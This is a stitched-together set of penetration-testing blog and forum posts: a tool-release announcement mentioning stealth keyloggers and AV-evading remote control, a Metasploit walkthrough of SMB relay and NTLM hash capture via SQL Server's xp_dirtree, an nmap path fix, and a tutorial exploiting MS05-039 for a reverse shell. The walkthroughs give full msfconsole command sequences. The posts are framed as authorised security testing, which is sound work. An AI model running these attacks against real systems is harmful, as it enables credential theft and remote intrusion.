Sharing my Penetration Testing Tools with Source




After conducting Penetration Tests over the last 15 years i have a huge collection of windows and linux tools which help you to conduct penetration tests. They cover what backtrack tools, nessus, metasploit and many other cool dev's did not do the job for me.

Tool categories are:
webscanner, smtp scanner, ipv6 scanner, android trojans, stealth keyloggers, stealth remote control software undetectable by AV, vpn scanner, dns scanner, inside out tools to fetch data within protected environments, tunneling tools, penetration checklists etc. etc. etc.



All of them have never been published before. I will release them one after the other including source code. Most of them are really easy to use. I started uploading them to code.google.

Here are some of the first uploads:
dns-information-gathering-tool - This tool do an information gathering based on a domain name. - Google Project Hosting
android-security-demo-app - app and webserver to demonstrate how to control a remote phone via webserver - Google Project Hosting
ipv6-portable-portscanner - windows standalone portable portscanner ipv6 - Google Project Hosting
smtp-security-scanner - This tool identifies various vulnerabilities on a remote SMTP server (testing the remote SMTP deamon as well as external DB's). - Google Project Hosting
swat-web-security-scanner - windows scanner to identify sensitives web server files, methods etc. - Google Project Hosting

The more sophisticated (and dangerous ones) will come later....

Executing SMB Relay Attacks via SQL Server using Metasploit



In this blog, I’ll provide a brief overview of SMB Relay attacks and show how they can be initiated through a Microsoft SQL Server.  I will also provide some practical examples that show how to use new Metasploit modules to gain unauthorized access to SQL Servers during a penetration test.    Below is a summary of what will be covered in this blog:

  •  A Brief History of SMB Relay
  • Using SQL Server to Iniate SMB Authentication Attacks
  • Using Metasploit Modules to Capture and Crack Hashes
  • Using Metasploit Modules to Relay Authentication

A Brief History of SMB Relay

In summary, an SMB Relay attack can be loosely defined as the process of relaying SMB authentication from one system to another via a man-in-the-middle (MITM) position. Based on my five whole minutes of wiki research I now know that the issues that allow smb attacks to be succesful were identified as a threat in the late 90’s.  However, it wasn’t until 2001 that Sir Dystic publicly released a tool that could be used to perform practical attacks.   Seven years later Microsoft got around to partially fixing the issue with a patch, but it only prevents attackers from relaying back to the originating system.
I guess the good news is that SMB relay attacks can be prevented by enabling and requiring smb message signing, but the bad news is that most environments are configured in such a way that attackers can still relay authentication to other systems.
2001 was a while ago, so I got out my calculator and did some hardcore math to figure out that this has been a well known and practiced attack for at least 11 years.  During that time there have been many tools and projects dedicated to taking advantage of the attack technique. Some of the more popular ones include Metasploit, Squirtle, and ZackAttack.
Anyway, let’s get back on track…

Using SQL Server to Initiate SMB Authentication Attacks

So how can we initiate SMB authentication through a SQL Server?  As it turns out, SQL Server can interact with the file system in a number of different ways.  For example, it supports functions for reading from files, providing directory listings, and checking if files exist.  The xp_dirtree and xp_fileexist stored procedures are especially handy, because by default they can be executed by any login with the PUBLIC role in SQL Server 2000 to 2012.
How does this help us?  Both the xp_dirtree and xp_fileexist stored procedures can support more then just local drives.  They also support remote UNC paths (\\server\file).  Also, everytime the SQL Server attempts to access a remote file server via a UNC path it automatically attempts to authenticate to it with the SQL Server service account.
The normal authentication process that would occur when a SQL Server accesses a remote file share via a UNC path looks something like the diagram below:
Basic Authentication Example
In most enterprise environments the SQL Server service is configured with a domain account.  What that means is an attacker could execute one of the prelisted stored procedures via SQL injection (or a valid SQL login) and relay the authentication to another database server to obtain a shell.  Alternatively, an attacker could simply capture and crack the hashes offline.  However, it should be noted that the SQL Server service can be configured with a number of different accounts.  Below is a table showing the basic account configuration options and potential attacks.

Network Communication

SMB Capture

SMB Relay


NetworkService Computer Account Yes No
Local Administrator Local Administrator Yes Yes
Domain User Domain User Yes Yes
Domain Admin Domain Admin Yes Yes

 Using Metasploit Modules to Capture and Crack Hashes

So now that you understand how the basics work, let’s walk through how to initate SMB authentication through SQL server with the intent of gathering and cracking credentials for later use.  In the diagram below, I’ve tried to illustrate what it would look like if an attacker initiated a connection from the SQL server to their evil server and captured hashes using a static nonce.
smb capture
The attack scenario above can be automated using  the “auxiliary/server/capture/smb” and “auxiliary/admin/mssql/mssql_ntlm_stealer” Metasploit modules.  Below is a step by step example of how to capture and crack the credentials using those modules.
Systems for the scenario:
  • SQL  Server 1: 192.168.1.100
  • Attacker System: 192.168.1.102
    1. Start the Metasploit “smb” capture module to grab password hashes on the attacker’s system:
      msfconsole
      use auxiliary/server/capture/smb
      set CAINPWFILE /cain_hashes.txt
      set JOHNPWFILE /john_hashes.txt
      exploit

    1. Execute the “mssql_ntlm_stealer” metasploit module to initiate SMB authentication via SQL Server 1 using domain credententials:
      msfconsole
      use auxiliary/admin/mssql/mssql_ntlm_stealer
      set USE_WINDOWS_AUTHENT true
      set DOMAIN DEMO
      set USERNAME test
      set PASSWORD Password12
      set RHOST 192.168.1.100
      set RPORT 1433
      Set SMBPROXY 192.168.1.102
      
      msf  auxiliary(mssql_ntlm_stealer) > run

Using Metasploit Modules to Relay SMB Authentication

Ok, now for the classic relay example.  Below is basic diagram showing how an attacker would be able to leverage a shared SQL Server service acccount being used by two SQL servers.  All that’s required is a SQL injection or a SQL login that has the PUBLIC role.
SMB Relay Attack
Now that we have covered the visual, let’s walkthrough the practical attack  using the mssql_ntlm_stealer module.  This can be used during penetration tests to obtain a meterpreter session on SQL Servers that are using a shared service account.
Systems for the scenario:
  • SQL  Server 1: 192.168.1.100
  • SQL  Server 2: 192.168.1.101
  • Attacker System: 192.168.1.102

    1. Start the Metasploit “smb_relay” module to relay authentication to SQL Server 2:
      msfconsole
      use exploit/windows/smb/smb_relay
      set SMBHOST 192.168.1.101
      exploit

  1. Configure and execute the “mssql_ntlm_stealer” Metasploit module against SQL Server 1:
    msfconsole
    use auxiliary/admin/mssql/mssql_ntlm_stealer
    set USE_WINDOWS_AUTHENT true
    set DOMAIN DEMO
    set USERNAME test
    set PASSWORD Password12
    set RHOST 192.168.1.100
    set RPORT 1433
    Set SMBPROXY 192.168.1.102
    
    msf  auxiliary(mssql_ntlm_stealer) > run
    
    [*] DONT FORGET to run a SMB capture or relay module!
    [*] Forcing SQL Server at 192.168.1.100 to auth to 192.168.1.102 via xp_dirtree...

    11:54:18 -0600
I know my text examples can be a little lame, so I’ve put together a video example to how this attack can be done via SQL injection.  Hopefully it can provide some additional insight into the attack process.

Wrap Up

I would like to make it clear that none of these are original ideas.  Techniques for initiating SMB relay attacks through SQL injection on database platforms like SQL Server have been around a long time. My hope is that the Metasploit modules can be used during penetration tests to help generate more awareness.  To those out there trying to do a little good with a little bad – have fun and hack responsibly!

SQL Fingerprint Xmas Released



Microsoft SQL Server fingerprinting can be a time consuming process, because it involves trial and error methods to determine the exact version. Intentionally inserting an invalid input to obtain a typical error message or using certain alphabets that are unique for certain server are two of the many ways to possibly determine the version, but most of them require authentication, permissions and/or privileges on Microsoft SQL Server to succeed.

Instead, ESF.pl uses a combination of crafted packets for SQL Server Resolution Protocol (SSRP) and Tabular Data Stream Protocol (TDS) (protocols natively used by Microsoft SQL Server) to accurately perform version fingerprinting and determine the exact Microsoft SQL Server version. ESF.pl also applies a sophisticated Scoring Algorithm Mechanism (Powered by Exploit Next Generation++ Technology), which is a much more reliable technique to determine the Microsoft SQL Server version. It is a tool intended to be used by:



This version is a completely rewritten version in Perl, making ESF.pl much more
 portable than the previous binary version (Win32), and its original purpose is 
to be used as a tool to perform automated penetration test. This version 
also includes the followingMicrosoft SQL Server versions to its fingerprint 
database:
        • Microsoft SQL Server 2012 SP1 (CU1)
        • Microsoft SQL Server 2012 SP1
        • Microsoft SQL Server 2012 SP1 CTP4
        • Microsoft SQL Server 2012 SP1 CTP3
        • Microsoft SQL Server 2012 SP0 (CU4)
        • Microsoft SQL Server 2012 SP0 (MS12-070)
        • Microsoft SQL Server 2012 SP0 (CU3)
        • Microsoft SQL Server 2012 SP0 (CU2)
        • Microsoft SQL Server 2012 SP0 (CU1)
        • Microsoft SQL Server 2012 SP0 (MS12-070)

Metasploit Nmap Version



For those of you wondering why metasploit uses nmap 5.61 instead of 6.01 when you do
an nmap scan in metasploit its because metasploit has its own nmap built in and the metasploit devs haven't upgraded it yet
if you want to use Nmap 6.01 in metasploit do the following.

Code:
su
mv /opt/metasploit/common/bin/nmap /opt/metasploit/common/bin/nmap.bak
ln -s /usr/local/bin/nmap /opt/metasploit/common/bin/
cd /opt/metasploit/common/lib
cd ../../msf3;./msfconsole
db_nmap -sS -sV -O 192.168.1.0/24            # your gateway maybe different to get your gateway follow below #


Copy and paste below into terminal to get Your Gateway

Code:
ip route show default | awk '/default/ {print $3 "/"24}'

if you get a libcrypto system link errror when you start metasploit, nmap or updating do the following
Code:
su
cd /opt/metasploit/common/lib
mv libcrypto.so.0.9.8 libcrypto.so.0.9.8-b
mv libssl.so.0.9.8 libssl.so.0.9.8-backup
ln -s /usr/lib/libcrypto.so.0.9.8
ln -s /usr/lib/libssl.so.0.9.8
 

If you encounter any problems and want to restore the metasploit built in nmap
Code:
su
mv /opt/metasploit/common/bin/nmap.bak /opt/metasploit/common/bin/nmap

Real-World Security Tests Using Metasploit



The Perl-based Metasploit was designed to be a robust exploit development system. It just so happens that you can use it to run previously developed exploits against your own systems. You can use its security testing features to see if your systems vulnerable to penetration and how they react when specific payloads are sent their way.
Outside of common Web application tests such as SQL injection and input tampering which are not supported, Metasploit has exploit code for a wide range of vulnerabilities in standalone applications, Web servers, operating systems, and more — 100 exploits and 75 payloads in version 2.4 to be exact. Version 2.5 was just released which, according the Metasploit site, includes bug fixes, cosmetic changes, and 32 more exploits! Even with over 100 exploits to choose from, obviously this isn’t enough to exploit every possible vulnerability in every penetration testing scenario you come across. But then again, the framework was built so you can write your own if you’re so inclined.



In this installment, I’ll outline how to use Metasploits built-in exploits and payloads in a real-world testing scenario. Be forewarned that it’s possible to create undesired results with this tool when performing your tests such as crashing or leaving production systems in an unstable state. As with any ethical hacking venture, proceed with caution and have a contingency plan in the event something goes awry. Please don’t take this lightly.
How to use Metasploit commands
Before jumping into the specific steps to execute this exploit, there are some common msfconsole commands you should know about:

  • help (or ‘?’) – shows the available commands in msfconsole
  • show exploits – shows the exploits you can run (in our case here, the ms05_039_pnpexploit)
  • show payloads – shows the various payload options you can execute on the exploited system such as spawn a command shell, uploading programs to run, etc. (in our case here, the win32_reverse exploit)
  • info exploit [exploit name] – shows a description of a specific exploit name along with its various options and requirements (ex. info exploit ms05_039_pnp shows information on that specific attack)
  • info payload [payload name] – shows a description of a specific payload name along with its various options and requirements (ex. info payload win32_reverse shows information on spawning a command shell)
  • use [exploit name] – instructs msfconsole to enter into a specific exploit’s environment (ex. use ms05_039_pnp will bring up the command prompt ms05_039_pnp > for this specific exploit
  • show options – shows the various parameters for the specific exploit you’re working with
  • show payloads – shows the payloads compatible with the specific exploit you’re working with
  • set PAYLOAD – allows you to set the specific payload for your exploit (in this example,set PAYLOAD win32_reverse)
  • show targets – shows the available target OSs and applications that can be exploited
  • set TARGET – allows you to select your specific target OS/application (in this example, I’ll use set TARGET 0 to for all English versions of Windows 2000)
  • set RHOST – allows you to set your target host’s IP address (in this example, set RHOST 10.0.0.200)
  • set LHOST – allows you to set the local host’s IP address for the reverse communications needed to open the reverse command shell (in this example, set LHOST 10.0.0.201)
  • back – allows you to exit the current exploit environment you’ve loaded and go back to the main msfconsole prompt
How to use Metasploit: Real-world exploit
Now that I’ve described the basic commands you’ll need, let’s take a look at some specific steps and screen shots required to carry out a real-world exploit.

My test target in this example is a Windows 2000 Server system that has the MS05-039 plug and play vulnerability (CVE-2005-1983) that was exploited by the Zotob worm. This hole — which Metasploit happens to have an exploit for — allows arbitrary code execution including shell (command prompt) access to the system. I know my target system has this vulnerability because I discovered the problem with the vulnerability assessment tool QualysGuard. This is purely a part of an ethical hacking methodology, but it’s not required. You can blindly test your systems — or, even better — Metasploit can do some of the legwork for you with its “check” function to see if a system is vulnerable before exploiting it. More on this below. My testing system is a Windows XP SP2 system running the Metasploit Framework version 2.4 I downloaded and installed. I’ll use Metasploit’s most commonly used msfconsole interface to demonstrate this attack.
Metasploit how-to: Step 1
I load msfconsole (via Start/Programs/Metasploit Framework/MSFConsole) and its command prompt comes up:
Note: At this point you can enter show exploits to see which exploits are available for your target system.

Metasploit how-to: Step 2
I enter use ms05_039_pnp to run the specific exploit which I know the system is vulnerable, and it loads up that specific exploit’s environment prompt (hence the ms05_039_pnp > prompt):

Metasploit how-to: Step 3
I then enter show payloads to determine which payloads can be sent via this exploit:

Metasploit how-to: Step 4
I decide to have the exploit open up a reverse command shell, so I enter set PAYLOAD win32_reverse. I then enter show targets to determine which operating systems and applications are supported. In this case, I’ll set my target to the option that supports versions of Windows 2000 Service Pack 0 (the first version of Windows 2000) thru Service Pack 4 by entering set TARGET 0:

Metasploit how-to: Step 5
I then enter show options to determine the non-optional exploit and payload parameters that don’t have defaults and, therefore, must be set. In this case, it’s the RHOST and LHOST parameters which can be set via set RHOST 10.0.0.200 and set LHOST 10.0.0.201:

Metasploit how-to: Step 6
I enter show options one final time to make sure everything is set correctly and then entercheck to confirm that my target system is indeed vulnerable to the ms05_039_pnp vulnerability.

Metasploit how-to: Step 7
Finally, I enter exploit to run the exploit and send the payload to my target system — and voila — the connection is established and I have a command prompt on the remote system! Penetration testing at its finest:

You can imagine what could happen at this point if a malicious hacker compromised your system in this way. That’s why it’s so important to “hack” your own systems first so you can find and plug the holes before the bad guys exploit them.
Using Metasploit: There’s more to come
This exploit is just one example of what can be done using Metasploit during penetration testing. The good thing is that outside of the specific exploit and payload I used, most of the commands and techniques in this example can apply directly to other Metasploit-supported exploits.

Once you’re used to how Metasploit operates, you’ll be glad to know that it contains several advanced features. You can save your “set” options, log your actions, and even define how each payload will clean up after itself once it’s done running. The neat thing about Metasploit is that it’s so powerful yet so easy to use. The msfconsole is very intuitive and help is always just a command away.
I encourage you to play around with Metasploit in a test environment to see for yourself what it can do. It’s an enlightening proof of concept tool to say the least. If you stay plugged into the Metasploit Project’s Web site, you can stay abreast of the latest framework and exploit releases. Apparently, a new and improved version of Metasploit (version 3) written in the Ruby programming language is due out soon, so be on the lookout for it as well.
It pleases me that we’ve got such advanced tools like Metasploit at our disposal for the betterment of information security – especially for the low, low price of $0 in this case. These types of exploit tools will certainly play a vital role in the future of improving the overall quality of software, so the more you know about them the better. With a quick Metasploit download, easy install, and a few minutes familiarizing yourself with its interface, the future is all yours.
